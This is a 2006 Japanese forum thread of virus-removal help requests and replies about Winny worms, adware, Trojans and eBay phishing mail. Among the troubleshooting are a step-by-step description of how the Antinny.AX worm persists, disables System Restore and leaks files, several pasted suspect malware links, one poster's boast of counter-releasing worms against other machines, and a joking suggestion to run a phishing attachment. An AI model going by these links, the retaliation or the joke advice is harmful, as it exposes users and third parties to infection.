それでも[似非キンタマ] Desktop Live! 0.2.0 *****.jpg
がShareのUPフォルダに生成されます。

>>613
テンプレをよく読んでフォーマットに沿って質問しましょう。
ID非表示の板ではコテハンをつけないと誰だかわかりません。
P2Pの話題はDownload板でどうぞ。

とりあえずUpフォルダを設定から削除してみては？
あと↓の過去スレに対処法が載っていたと思います。
http://tmp5.2ch.net/test/read.cgi/download/1138106250/l50

>>614
すみませんでした、ではそちらのDownloadのほうに移動して改めて
テンプレにそって質問をさせていただきます

dllhostw.exeってなんですか
dllhost.exeならわかるんですが・・・

>>616
REDLOF

ADW_ZANGO180.Cにやられた。
トレンドマイクロHPでは、手動で削除を要するとのこと。

ttp://ayuready.no-ip.com:9394/shared%20files/%A1iBT%A1j/%A5%5B%C3%C3%C6N-%AF%B5%A7%DE%B6%C7%B1%C2.torrent

このアドレスはウィルスでしょうか？

アドレスからオンラインウィルスチェック、、もしくわツールってありますか？

>>619
勇気がなくて踏めない人のための鑑定ｽﾚPart5
http://pc8.2ch.net/test/read.cgi/hack/1136737542/

>>619
怪しいもの貼るなボケ

【使用OS】xp home sp2
【WindowsUpdateしてるか 】してる
【AntiVirusは何を使っているか】vb2006 ewido spybot ad-aware zero spyware
【ちゃんとUpdateしてるか】 してる
【スキャンした結果（ウイルス名・発見場所）】なし
【別のオンラインスキャンしたならその結果は】eTrust PestPatrolで CnsMin　Hijacker検出　検索で極窓と判明
【症状を具体的に、分かる限りすべて書く】特になし
【何をしたらそんなことになったのか】極窓のダウンおよびインスト
【これまでにとった措置】 特になし
【その他の質問】極窓ってスパイウエアなんですか?

>>622
極窓の最新ヴァージョンにもJ-wordがバンドルされてしまった。
J-wordもインストしたのだろう。

>>623
すばやいレスありがとうございます
おっしゃるとおりJ-wordも検出されていました
極窓はあまり使わないので削除します

少し前のレスもJ-wordの話だったな
ちっとは検索しろよｗ

>>624
極窓を削除しても一旦インストールしたJ-wordは消えないよ。
完全削除したいならここ見たらいい。
【社員】最凶の不快ウェアJword.Part3【工作】
http://pc8.2ch.net/test/read.cgi/sec/1134209389

もしJ-wordをインスコしていないなら極窓フォルダ内のCnsMinを削除すれば
セキュリティソフトで検出されなくなると思われ。

>>625 626
ありがとうございます
紹介いただいた上記スレに行って勉強してきます

【WindowsXPSP2】
【updateしてる】
【Norton Internet Security2005（Anti Virus付き）】
【updateしてる】
【ｽｷｬﾝ：Program Files→なし】
【起動しない。「No System. Hit any key.」と表示される】

vipでブラクラ踏んでしまいました…。
Sleipnirがフリーズし、本体がガチャガチャ鳴った後、急に重くなりました。
これはマズいと思い、とりあえずProgram Filesをスキャンしてみるも何も出ず。
そして再起動しようとしましたが、終了しないのでハードリセットしたところ、起動しなくなりました…。
よろしくお願いします。

【使用OS】xp home sp2
【WindowsUpdateしてるか 】してる
【AntiVirusは何を使っているか】 ad-aware　avast
【ちゃんとUpdateしてるか】 してる
【スキャンした結果（ウイルス名・発見場所）】なし
【別のオンラインスキャンしたならその結果は】未
【症状を具体的に、分かる限りすべて書く】スレの行間が開く
【何をしたらそんなことになったのか】特定スレを開く
【これまでにとった措置】 特になし
【その他の質問】
tp://music4.2ch.net/test/read.cgi/hrhm/1122317467/
具体的には↑のスレ。508か511が原因だと思われる。

>>629
508にシリア語が書き込まれてるせい、詳しくは「シリア語ブラクラ」でググる
511はウィルスコード
ウィルス関係ないので専ブラ入れてください

【使用OS】　xp sp2

【WindowsUpdateしてるか】 はい

【AntiVirusは何を使っているか】 ノートン

【ちゃんとUpdateしてるか】 はい

【スキャンした結果（ウイルス名・発見場所）】 何も出ず

【症状を具体的に、分かる限りすべて書く】
デスクトップのアイコンがすべて消え、タスクバーも出てこない。
壁紙はそのまま出ている。マウスのカーソルも出ています。

【何をしたらそんなことになったのか】
解凍した中に入っていたフォルダのアイコンをクリックしたら何も開かなかったので怪しいと思い拡張子を調べたらexeだった。
その時点でノートンでウイルススキャンしてみたが何も出ず、それから再起動してみたらアイコンとタスクバーが消えてしまいました。

何か対処方法はないでしょうか？
よろしくお願いします。

解決しました。
検索不足でした。

>>630
ありがとうございました

【使用OS】 WindowsXP Pro
【WindowsUpdateしてるか】してません。
【AntiVirusは何を使っているか】 最近までウイルスについてあなどっていたので入れてませんでした。自業自得です。
【ちゃんとUpdateしてるか】してません。
【スキャンした結果（ウイルス名・発見場所）】 PE_PARITE　色んなファイルに増えまくってました。
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】 iTunesやＭＳＮメッセが再起動すると使えなくなった。再びインストすれば使えるようにはなる。
【何をしたらそんなことになったのか】解凍したテキストファイルをクリックしたらexeファイルに偽装したものでした。
【これまでにとった措置】 オンラインスキャンくらい
【その他の質問】 どうやらこのウイルスは時間とともに増殖するタイプのようなので、
思い切ってＯＳを入れ直そうと思っています。
それで、ＭＰ３や画像のバックアップを取ろうと思っているのですが、そういったファイルには感染しているものなのでしょうか。
大事なファイルもあるので感染してたら困ります。
今回は完全な自業自得ですので、これからはノートンを入れておこうと思います。

どうか対処法をよろしくお願い致します。

他のファイルに感染ってｗ
そんな事ないから必要なファイルとったらクリーンインスコ
これでOK

　　/￣￣￣ / 　/''７ ./''７　　　　　　　　/￣/　 /''７
　./ ./￣/　/　　/__/ /　/ 　＿＿＿_　　 ￣　　/　/
　'ー'　_/　/ 　 ＿__ノ　/　 /＿_＿＿/ 　 ＿__ノ　/
　　　/___ノ 　 /＿___,.／　　　　　　　　 /＿___,.／

　　　_ノ￣/　/￣/　 /''７　/￣￣￣/　　　/￣/　　　　　　　　　　　 　/'''７'''７
/￣　　／　　 ￣　　/　/ 　 ￣ ﾌ　./　　　/　　ﾞー-; 　 ＿＿＿_　　　/　/　/.＿
￣/　/　　 　 ＿__ノ　/　 　__／　 (___　　/　 /ｰ--'ﾞ　/＿_＿＿/　_ノ　/i　 i/ ./
　/__/　　　/＿___,.／　　 /___,.ノゝ＿/　/＿/　　　　　　　　　　　/__,／　ゝ､__/

>>634
スパイウェア対策ソフトとファイアウォールも入れろ
ルータも導入

＃アップデートもしてない、アンチウィルスソフトもない・・・
＃ノートン入れても定義更新しなさそうだな・・・

>>635 636 637
助言ありがとうございました＾＾
言われたとおりにしてみます！

631の方、まったく同じ症状です。解決策をお願いします。

【使用OS】　xp sp2

【WindowsUpdateしてるか】 はい

【AntiVirusは何を使っているか】 ノートン

【ちゃんとUpdateしてるか】 はい

【スキャンした結果（ウイルス名・発見場所）】 何も出ず

【症状を具体的に、分かる限りすべて書く】
デスクトップのアイコンがすべて消え、タスクバーも出てこない。
壁紙はそのまま出ている。マウスのカーソルも出ています。

【何をしたらそんなことになったのか】
解凍した中に入っていたフォルダのアイコンをクリックしたら何も開かなかったので怪しいと思い拡張子を調べたらexeだった。
その時点でノートンでウイルススキャンしてみたが何も出ず、それから再起動してみたらアイコンとタスクバーが消えてしまいました。

セーフモードでしかウィルススキャンが出来ません。やってみても、なにも検出されません。
解決方法をお願いします。
６３１さん、掲示板を見ていたら、症状が同じなので、解決方法を教えてください。

>635
634は終わったよ。
PE_PARITE　は全てのEXEファイルに感染を広げるPE型のウイルス。
trendmicroのサイトに書いてあった気がした。
＞ＭＰ３や画像のバックアップを取ろうと思っているのですが、そういったファイルには感染しているものなのでしょうか。
拡張子がEXEの奴以外ならOK
だが、アイコンだけで判断せずにちゃんと拡張子も確認の上バックアップ、リカバリや。

【使用OS】 windows xp
【WindowsUpdateしてるか】 してる
【AntiVirusは何を使っているか】 ウイルスバスターズ２００６
【ちゃんとUpdateしてるか】 してる
【スキャンした結果（ウイルス名・発見場所）】 トロイの木馬
【別のオンラインスキャンしたならその結果は】 　してない
【症状を具体的に、分かる限りすべて書く】 ダウンロードやファイルの立ち上げが遅い
【何をしたらそんなことになったのか】 ２ｃｈの変ＵＲＬ踏んでから
【これまでにとった措置】 隔離
【その他の質問】 uuv-channel.exeというファイルが探しても見つからないんですけど
どうすればいいんですか

【使用OS】 　windows XPSP2
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 ewido online scanner beta , AntiVir PE , Spybot S&D
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 ewidoではHKEY_USERS…\Explorer\NoActiveDesktopChangesというところでTrojan.smallが見つかりました
【別のオンラインスキャンしたならその結果は】 AntiVri PEでスキャンしてみても見つかりません
【症状を具体的に、分かる限りすべて書く】 動作が重い気がします。たとえば、ダウンロードの許
　　　　　　　　　　　　　　　　　　　　　　　　　可を取るポップアップを動かしたら、その表示がしば
　　　　　　　　　　　　　　　　　　　　　　　　　らくぶれました。また、ここに書いているときバック
　　　　　　　　　　　　　　　　　　　　　　　　　スペースで文字を消したら、消したあたりに消しかすの
　　　　　　　　　　　　　　　　　　　　　　　　　ようなのがみえました。
　　　　　　　　　　　　　　　　　　　　　　　　　表示の動作問題しか今のところ自覚できていません
【何をしたらそんなことになったのか】 Trojan.smallっていうのをネットで調べたら”'Small'
　　　　　　　　　　　　　　　　　　　　　の亜種はInternet Explorerで特定のWebサイトにアクセス
　　　　　　　　　　　　　　　　　　　　　した際に感染します。” とありましたが、気づいたら感染
　　　　　　　　　　　　　　　　　　　　　していて、リカバリしたあとも感染していました。
【これまでにとった措置】 ewido on-lineで取り除いたあとリカバリ
【その他の質問】 マイクロソフトがトロイを撒くなんてことはあるのでしょうか？
　　　　　　　　　　リカバリしてもewidoでは見つかってるのですが、そのときサイト
　　　　　　　　　　見た中で思いつくのはwindowsupdateです。
　　　　　　　　　　・・・関係ないですか。そうですか。
　　　　　　　　　　うちのPCのリカバリが不十分だったとか？リカバリで初期状態に
　　　　　　　　　　もどせてないとかあるんですか？
　　　　　　　　　　それだとPC購入してからのサイト訪問すべてが疑わしくなるですね

>>622です
おかげさまでj-wordは完全削除できました（と思う)
極窓はそのままです
ありがとうございました

>>639
>>640
TROJ_ANTINNY.AX　
http://www.symantec.com/avcenter/venc/data/w32.antinny.ax.html

新手の奴か

>>645
これってnorton先生だと発見できないよね。
バスター、nod、f-secureは対応してる。
nortonのやつはそれらを体験版などを使って
駆除すれば？
winny立ち上げてると個人情報うｐされてるっぽい。

>647
書いてあることによると、昨日定義ファイルリリースしてるようだが…

>>648
そうなの？うちの2002の場合はliveupdateして最新にして
ｳｨﾙｽをｽｷｬﾝしても見つかりませんってなりますよ。

ｵﾝﾗｲﾝｽｷｬﾝでも同じでした。

バスター、nod、f-secureは３日前には発見できました。

2002？

2002の定義ファイルは毎日リリースしないぞ。
Intelligent Updater使えや。

これを見る限りではもうオ�hル状態じゃないのかな？2002は。
ttp://service1.symantec.com/SUPPORT/INTER/japanesecustserv.nsf/jdocid/20020626170616945?OpenDocument
更新サービス
シマンテック製品では、最新のウイルスやハッカーなどの脅威に対応するためのウイルス
定義ファイルやファイアウォールルール、URLリスト等の更新サービスを提供します。
提供期間
更新サービスは、各製品の初回出荷日から 4 年間提供します。それ以外の旧製品を
お使いの場合、より新しいバージョンへのアップグレードが必要になります。

＞631,640と同じ症状がでます。
　　　　　↓
【使用OS】　xp sp2

【WindowsUpdateしてるか】 はい

【AntiVirusは何を使っているか】 ノートン

【ちゃんとUpdateしてるか】 はい

【スキャンした結果（ウイルス名・発見場所）】 何も出ず

【症状を具体的に、分かる限りすべて書く】
デスクトップのアイコンがすべて消え、タスクバーも出てこない。
壁紙はそのまま出ている。マウスのカーソルも出ています。

【何をしたらそんなことになったのか】
解凍した中に入っていたフォルダのアイコンをクリックしたら何も開かなかったので怪しいと思い拡張子を調べたらexeだった。
その時点でノートンでウイルススキャンしてみたが何も出ず、それから再起動してみたらアイコンとタスクバーが消えてしまいました。

何か対処方法はないでしょうか？
よろしくお願いします。

クローン人間大発生か

(1)自身を「%System%\Microsoft\svchost.exe」にコピーします。
(2)Windows起動時に実行するため、
　　「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce」レジストリキーに
　　以下の値を追加します。
　　"Windows Security Manager" = "%System%\Microsoft\svchost.exe -c -ax"
(3)システム修復が使われないようにするため、
　　「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore」レジストリキーに
　　以下の値を追加します。
　　"DisableSR" = "1"
(4)「%Windir%\svdat.m1v」というクリーンファイルを作成します。
(5)「%Temp%\4407A9BE6535\6A8C9B51993A」「%Temp%\4407A9BE6535\773232357FF9」という
　　隠しフォルダを作成します。
(6)Winnyのインストール先を探して「UpFolder.txt」を書き換えます。
(7)Winny共有フォルダに「%Temp%\4407A9BE6535\773232357FF9」を追加します。
(8)スクリーンショットを撮って以下の名前で保存します。
　　「%Temp%\4407A9BE6535\773232357FF9\[日本語][ユーザ名][日本語]([日付]).jpg」
(9)以下の拡張子のファイルを探します。.doc .xls .eml .ppt .dbx .txt .pdf
(10)以下のファイルをWinnyフォルダから検索します。
　　Nodref.txt Download.txt kakikomi.txt tab1.txt tab2.txt

(11)以下のフォルダにあるファイルを検索します。
　　%UserProfile%\Favorites
　　%UserProfile%\Recent
　　%UserProfile%\Local Settings\Application Data\[ランダム]\Identities\[ランダム]\Microsoft\Outlook Express
(12)検索したファイルをzip圧縮して以下の名前で保存します。
　　%Temp%\4407A9BE6535\773232357FF9\[日本語][ユーザ名][日本語].zip
(13)それ自身をzip圧縮したファイルを以下の名前で保存します。
　　「%Temp%\4407A9BE6535\773232357FF9\[ワーム本体からランダムに選んだ日本語].zip」
(14)「Trojan.Sientok」の一種である「%Temp%\sttemp.exe」をdropして実行します。
(15)「%System%\winsm.exe」「%System%\ms[ランダム].exe」をdropします。
(16)「WindowsSecurityManager」サービスを作成します。
(17)「HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\"WindowsSecurityManager"」
　　「HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\"WindowsSecurityManager"」
レジストリサブキーを作成します。
(18)1〜6日のうちの月曜日に以下のサイトにDoS攻撃を仕掛けます。
[http://]www.accsjp/[削除済]/.or.jp
[http://]www2.accsjp/[削除済]/.or.jp

[注]
・XPの場合、「%System%」はC:\Windows\System32、「%Windir%」はC:\Windows、「%Temp%」はC:\Windows\Temp、
　「%UserProfile%」は「C:\Documents and Settings\ユーザ名」
・accsjp.or.jpは社団法人コンピュータソフトウェア著作権協会(ACCS)
・(13)の「それ自身」は直前のzipファイルを指すと思うがちょっと不明
・dropて具体的にどういう処理なのかﾜｶﾝﾈ

Antinny.axの対処法はNOD32体験版か修復インストール、あるいは
レジストリかmsconfigいじれるなら>>655の(2)と(1)のファイルを消して
Winnyのフォルダ設定も元に戻して再起動、その後ノートンのアップデートを待つ、かな？

nortonダメダメじゃん

板違いな自演をするなNOD厨。

Download
http://tmp5.2ch.net/download/

http://tmp5.2ch.net/test/read.cgi/download/1138106250/474
ノートンの人は手動でパターンファイルを更新すればOK

いい加減にnyなんか止めろよ。
NODも金を払って使えよ。

640です。助言をくださった方々、どうもありがとうございました。
修復インストールをして、なんとか復活しました。
ただ、my backupフォルダーの中身を使って、システムの復元をしたいのですが、やり方が分かりません。
よかったら、教えてください。よろしくお願いします。
スレ違いでしたら、すいません。

ノートン常駐してるんですが質問です
トロイ踏んだんですが、活動ログに

Trojan Horse 修復できませんでした
、の後に
Trojan Horse 適用した処理：アクセスが拒否されました

って出るってことは安心していいのでしょうか？

掲示板にウィルスのリンクが貼られたら「通報した」とよく書かれますが、具体的にどこに通報しているのでしょう？

今までウイルスバスター2005の体験版を使っていました。
期限が切れたのでオンライン購入登録しようと思うのですが
これって更新したら表示は2005なだけで2006と同物になるんでしょうか?

また1個で買うと5000円で2つだと7500なので誰か一緒に買ってくれる人いませんか?

Blaster系とSasser系のワームを送りつけてくる同ノードのやつらがウザイので、
複数の亜種ワームをこちらから12時間ほど放出してやったら、一切来なくなりました。
全員死んだようですねw
今は135と445をSP1にて開いて確認しておりますが、何も飛んで来ないようです。
ざまあみくされ！バカなんだからよ。

>>662 >>640　　環境が分からんが参考までに
ttp://121ware.com/qasearch/1007/app/nec.jsp?003608

>>663　　無問題！

>>665　　2005で更新したら2005のまま
期限切れる前に買えよなw

素人です・・・・・自分のＨＰに新しくＨＰ出来たので来て下さい！ってあって行ったら逝きました。orz

>>666
O〜men

これってウイルスでしょうか。
弟が２ｃｈ見てて間違って開いてしまったらしいんですが。
その画像についてのレスが「ノートンが検地した」などと書かれていたので心配です。
嘘か本当かは分かりませんが、よろしくお願いします。
tp://www.twganwwko.com/wrj/lineage.jpg

>>670
危ないモノをはっつけちゃイカンダロ。

弟が…弟が…弟が…

>>670
アカハック

>>670
こっちで聞け。ここは鑑定スレじゃない。

勇気がなくて踏めない人のための鑑定ｽﾚPart5
http://pc8.2ch.net/test/read.cgi/hack/1136737542/

あるぇー　鑑定スレで既出だったので貼っておくよ
http://sakura01.bbspink.com/test/read.cgi/ascii/1138200229/


601 名前： /名無しさん[1-30].jpg [sage] 投稿日： 2006/01/28(土) 21:52:59 ID:GhE7R+WS0
　　　　　>>597
　　　　　そのアカハックなのかどうかはわかりませんが
　　　　　とりあえずExploit-MhtRedirというトロイが出ました、有害ですね


608 名前： /名無しさん[1-30].jpg [sage] 投稿日： 2006/01/28(土) 22:00:53 ID:GhE7R+WS0
　　　　　>>601補足
　　　　　今、スキャンディスクしてるんですが確かにPWS-Lineageってのが出てきました

ありがとうございました。
Windows Updateしたあとにアンチウイルスしたらトロイが見つかり、
無事駆除できました。
それとスレ違い失礼しました(^^;

【使用OS】
WinXP SP2
【WindowsUpdateしてるか】
してます
【AntiVirusは何を使っているか】
ノートンアンチウイルス2005
【ちゃんとUpdateしてるか】
してます。更新は1/25。感染は1/29。
【スキャンした結果（ウイルス名・発見場所）】
見つからない
【別のオンラインスキャンしたならその結果は】
してません。お勧めあったら教えてください。
【症状を具体的に、分かる限りすべて書く】
起動直後に画面真っ暗、ポインタの矢印だけが表示される。タスクバーとかも見えない。
タスクマネージャ起動すると通常の画面に戻る。常駐ソフトも動き出す。他の被害は今のところなし。

【何をしたらそんなことになったのか】
nyで画像ファイルの詰め合わせ落としてウイルススキャンかけて検出されないのでZip解凍。
出てきたフォルダ開いたつもりがアイコン偽装したEXEファイルでした。

【これまでにとった措置】
解凍したファイルを削除。
ネットでいろいろ調べているんだが該当するものが見つからない
nyは起動してない。
メーラはセキュリティのこと考えて使っていない。
ヤフーメイルから外部メールを受け取る形で使用しているので他人にウイルスメール送ったりはしてないはず。
【その他の質問】
誰か助けてください。もう悪いことしません。

nyのウイルスならファイル名とサイズの書け

ny使ってメーラー使わないってw
>>645から>>660まで嫁。
ダウソ板の「Winnyを狙ったワーム･ニュイルス情報 Part50」逝って情報収集怠らないようにしろ。

サイズの→サイズも

>678
すいません。削除してしまったのでサイズがわからないのです。
>679
似たような症状が多いみたいですね。過去ログ読んで勉強します。

NOD32がドクロを検出してくれなかった・・・・・・orz
やられた。(*ﾟдﾟ) ﾍﾟｯ
悔しいからカキコ。(*ﾟдﾟ) ﾍﾟｯ

ttp://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_ANTINNY.A
ttp://internet.watch.impress.co.jp/cda/news/2006/01/30/10679.html

過去ログ読んで解決しました。
ノートンのパターンファイル手動アップデート
↓
完全スキャン＆修復
という流れで完了。

ベンダごとに異なるウィルス名を一覧にしてあるサイトがあったと思うけど、わかる人いる?
再インストールでブックマークをバックアップしてなかったし、ググっても見つからないorz

age

ITメディアのページを表示させると
ウイルスの警告が出るんですけど･･･

ttp://plusd.itmedia.co.jp/lifestyle/

おかしい？

なんのソフト使ってるか位書けよｗ
脳豚かバカフィーあたりっぽいけど

【使用OS】windowsXP
【WindowsUpdateしてるか】ダウンロード画面は出るのにアップデートされない
【AntiVirusは何を使っているか】ウイルスバスター、ソースネクストのウイルスセキュリティ
【ちゃんとUpdateしてるか】これも同じようにアップデートされない
【スキャンした結果（ウイルス名・発見場所）】両方とも何も引っかかりませんでした
【別のオンラインスキャンしたならその結果は】何も出てきませんでした

【症状を具体的に、分かる限りすべて書く】
・タスクマネージャを開くと音量調節する画面とかが30個くらい開かれたりする
・CPU使用率が常に100％近いのでしょっちゅう固まる
・アイコンなどが最小の状態になっているにも関わらず、最大サイズで表示される
・外部からのアクセスがやたら多い
・スパイウェアなどのスキャン開始と同時に電源が落ちバッテリーを外さないと復活しない
・青い画面に白い文字で　This　Program　is　…と表示され再起動する
・設定していないワイヤレスネットワークに接続される（1分くらい）
・.exeのつくものを検索すると1500個ぐらいでてくる

ついさっき、ダウンロードしたフォルダをダブルクリックしたら
同じフォルダとモナーのaviが出てきました、、
そのあとすぐにSETUPファイルがでてきて、avi以外が消えました、、
これ、何かのウィルスなんでしょうか？

どっからダウンロードしたのか分からんが
ノートンやバスターのオンラインスキャンしてみれば？

【症状を具体的に、分かる限りすべて書く】
・>>485は全部出てきたけどセーフモードで削除ができない
・バックドアが作られているらしい
・以前削除したはずのウイルスが生き残っていた
・タスクマネージャーでsvchost.exeがいっぱい
・ファイルを削除すると同じ数だけコピーされたりする
・.exeのアイコンとか名前がなど見るからに怪しいものがある（killってかいてあるやつとか）
他多数

【何をしたらそんなことになったのか】
ある日突然、電源を切るボタンの真上にwindowsの盾みたいなアイコンが
出現、キーボードのUで終了してもクリックされるようになっててそれ以来。

【これまでにとった措置】
主にググってウイルス等のデータベースで同じものが合った場合はそのサイトの回避方法を参照し、削除。
またオンライン、セーフモードでのスキャンと先週リカバリーした

【その他の質問】
状態が悪化する一方です。
リカバリーしても以前削除したウイルスが残ってたりします。
とにかく変なのがあっても削除できないんですがどうしたらよいでしょうか。
ちなみに削除したのと同じ数だけ同じものが複製されたりして最悪です。

長々とすみませんでした。

＞・>>485は全部出てきたけどセーフモードで削除ができない
ちょっとまてよｗ
>>485は荒らしが貼った釣りだぞ
ホントにやったらPC動かなくなるｗ

>>692
じゃあ削除できなくてとりあえずよかったことにします。
でもその他がかなり重症っぽいです。

ヤフーBBに加入しているのですが加入者専用のウイルス対策ソフトってあるんですか？
またあるとしたらこれだけで対策はバッチリですか？ノートンとかのほうがよいのでしょうか？

リカバリーしても残ってるウイルスなんてあるのかな。
なんつうか、そこまでいったらHDD買い換えした方が良いんじゃないのか。

>>695
今使ってるのノートなんですがやっぱり買い換えないとダメっぽいですか？
変なファイルとかプログラムとかのデータベース作れそうなぐらいあると思います。
ちなみに今文字が1センチ四方ぐらいの大きさで表示されててなおりませんorz

1センチ四方ぐらいの大きさでっつうのは、ブラウザの文字だけじゃなくて、デスクトップの文字とかもってこと？
画面の解像度の設定を変えたら直るんじゃまいか？

噂の2006/02/03だけど何か変化あった？

メーカーのサポセンに電話して相談した方がいいんじゃないかな

>>697
表示されるもの全てがでかい
解像度の設定見たけどこれがデフォだったorz

>>694
固有のサービスはそこで聞いたほうが確実だとは思わないか

>>693
完全孤立でフォーマットしてOS再インストールしてみるのがいいんでない？
ウィルスセキュリティは取りあえずいいからVBを入れてすぐアップデート

>>698
まだファイルぶっ壊れてない

>>700
デスクトップテーマのデザインのフォントサイズが特大になってないか？

>>699
むずかいしいと思う
リカバってくださいって言われて終わりそう。
だが聞いてみるのも手だな

>>701
再インストールはそれで試すのもいいかも。
ただアップデートするのに接続するときどうなるか心配。
今まで正常にアップデートされたためしがないから。

つーことは1度もアップデートしてないのか？

>>700
リカバリしてもウィルスが残ってるってのはおかしいよね。
リカバリの方法なんだが、Cドライブだけリカバリしてないか？
それだとDドライブに残ってるウィルスはそのままになるわな。
それとバックアップファイルにウィルスが感染してたら、それを戻せば当然ウィルスは復活する。

なので、
１、再度リカバリ→C、Dドライブともに、購入時の状態に戻す。
２、バックアップファイルが必要なら、すべてにウィルススキャンをかけてから、戻す。
３、ウィルスセキュリティに不具合が生じているようなので、サイトから最新版をダウンロードしてインストール。

で、どう？

>>702
ありがとう
今再確認してきたけど標準になってた（´・ω・`）

>>704
最新版の通知が来るたびにやって見るんだけど、
ダウンロードされた画面だけでて内容は何も変わらず。

>>705
確かにそうかも。

１→これはOK
２→一応やったけど特に検出されず。けどウイルスセキュリティを無効にするような
やつが入り込んでるとしたらそのままバックアップ戻したことになるかも。
３→接続方法変えてからダウンロードしないとだめかも。今は外からのアクセスがひどくて
たまにセキュリティの一部が無効になってたりすることがある。

【使用OS】　Windows XP
【WindowsUpdateしてるか】　しています
【AntiVirusは何を使っているか】　ノートン
【ちゃんとUpdateしてるか】　しています

事前にチェックするのを怠って、ここを踏んでしまいました。
tp://www.geocities.com/sekai_saisoku_ou/index.htm
サイトについて調べてみた所、トロイが仕込まれているらしいのですが
ウィルスバスター（評価版）・ノートンで調べてみた所発見されず、
シマンテックのオンラインでのチェックをしてみても引っかかりませんでした。
トレンドマイクロでは何故かオンラインでのチェックが出来なかった。
（『Donut L』の機能で、↑のサイトを開いた時はスクリプトは全て禁止していました。）

見つからないって事は感染しておらず、大丈夫って事なんでしょうか？
自己判断で決定するのは怖い所があるので、どなたか返答をお願いします。

>>708
VBS:Malware [Gen]ワームを検出
なにか仕込まれたとかは無いと思うよ
ココって散々URL変わって何度も出てきてるページだし

>>709
なるほど…。それじゃあ、特に心配する必要はないんですね。
ご返答ありがとうございます（つД`）

とりあえずサポセンに電話からスタートします。
あとはいただいたレスや過去ログを参考にしながら色々やってみようかと思ってます。
ありがとうございました。

クリーンインスコすべきだと思うけど・・・

リカバリCDじゃクリーンインスコ出来ない可能性もあり。
こういうところは、メーカーPCは不便だ罠。

おはようございます

>>712
それ今日か明日やってみようかと思ってるんですけど、
>>713のいうとおりリカバリCDでできない場合はどうしたら良いでしょうか(´・ω・`)

>>714
僕は713じゃないがとりあえずOS再インスコはできるからそれやればいいよ

購入時の状態じゃなくて本当に真っ白な状態にする

つまり現金に戻すと

つまり返品と

>>715
やってみます

>>716
そのやり方教えていただければ幸いです

>>717
できればそれが１番かと(´・ω・`)
でもひどすぎて多分千円にもならないと思います

>>719
フォーマットして再インストールすれば？
買ったときについてきたCDってリカバリCDだけ？

>>720
とりあえず>>701と>>712でいってみようかと思ってます。
ただアップデートする前に、ネットワークの設定変えないと同じ事の繰り返しになりそうorz

>>721
オンラインスキャンではウイルスはでなかったんだよね？
スパイウェアのチェックもした？

>>721
処置する前に、タスクマネージャを開いて実行プロセスの一覧を撮ってUPしてみたらどうかな？
トラブルの原因を全く調べずにリカバリするのは酷だろうよ。

>>722
スパイウェアもウィルスも、セーフモード、オンライン、オフラインどれも検出されませんでした。

どう考えてもおかしいと思ったので、
[ファイルの検索]から.exeをピックアップ→明らかに怪しいアイコンや名前のものをウィルスデータベースで検索→危険度の高いやつがいくつも出てきた

という感じです。

>>723
帰ったらやってみます。詳しい方が見たらわかると思います。
ちなみにタスクマネージャーを開いたらsvchost.exeとやらがたくさん動いてました。

これ以上、無駄な報告(ﾟ�听)ｲﾗﾈ
一通りやってから報告してよ

>>725
＞svchost.exeとやらがたくさん動いてました

そんなの誰でも動いてると思うが？

Dear eBay Member,
We regret to inform you that your eBay account could be suspended if you don't re-update your
account information.
To resolve this problem please see details in attached file.

If your problems could not be resolved your account will be suspended for a period of 24 hours, after
this period your account will be terminated
最近こんな内容のメールが1日4〜5通着てるんだがやはりウィルスですかね？

スキャンしてから書いてんだろ？

そうやってなんでもウイルスのせいにしてればいいさ

添付ファイルを実行すれば直ぐに分かるよ。

ﾜﾛｽ
eBayメンバー様
申し訳ありませんが、あなたが会計情報を再アップデートしないなら、あなたのeBayアカウントは中断するかもしれません。
この問題を解決するには、添付ファイルの詳細を見てください。

あなたの問題を解決できないとあなたのアカウントがしばらく24時間で吊す、この期間の後に、あなたのアカウントは終えられるでしょう。

>>728
http://www.sophos.co.jp/virusinfo/analyses/w32looskyv.html
これじゃない？

>>733 多分それだ
eBayメンバー様

申し訳ありませんが、あなたがyouraccount情報を再アップデートしないなら、あなたのeBayアカウントは中断するかもしれません。

この問題を解決するために、添付の用紙に下をリンクを訪問して、会計情報に再入してください。

添付ファイルの名:

ebay_info.exe

こんなあからさまなもん開く奴いるのか？

ちょっと質問です。子供が謝って添付ファイルについてた.exeファイルを実行したのですが、
今調べると、このウイルスだったようです。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM%5FBAGLE%2ECL&VSect=T

で、子供が使うPCには管理者権限を与えていないのですが、この場合もレジストリを書き換えられたりするのでしょうか？
レジストリエディタで見てみると、問題の記述はないように見えました。管理者権限でないとウイルスを踏んでも安心でしょうか？

ウィルスについて全く無知な厨房ですみませんが
この添付ファイルは開かなければ害はないんでしょうか？

>>736
そうかそうかパパのPCを勝手に使っちゃったのか
悪い子だな。素直に謝ればきっと許してくれると思うよ

>>737
開いてもアンチウイルスソフトが対応してれば無問題
もし対応してなかったら........(／(エ)＼)キャー

【質問】
誰か「.jpg」のウイルスの検体くれー
アンチウイルスの動作確認するから。

すみません、なんだかよく分からないんですけど…
無知で恥ずかしいですが教えてください。
【使用OS】
　winXP
【WindowsUpdateしてるか】
　最近さぼってました
【AntiVirusは何を使っているか】
　McAfee
【ちゃんとUpdateしてるか】
　 最近さぼってました
【スキャンした結果（ウイルス名・発見場所）】
　 スキャン完了、感染ゼロ
【症状を具体的に、分かる限りすべて書く】
　ネット中に「感染」とウインドウが開いた、今のところはそれだけです。
　テンパってしまったため、メモなど取れなかったのですが、
　感染箇所はProgramFileのOpera（IEではなくOperaを普段使用）、ウイルス名はLoveletterでした。
【何をしたらそんなことになったのか】
　普通にネットしてる時に「感染しました」とウィンドウが開いた。
　ここ最近はうｐろだのメールを一件受けただけです（Web上、Outlook不使用）。
【これまでにとった措置】
　とりあえずスキャン→感染してないっぽい
【その他の質問】
　なんでしょう…これ。恐ろしいです。

訂正です。
【これまでにとった措置】
まず初めに警告のウィンドウが開いた時に、駆除するかどうか、という画面が出て
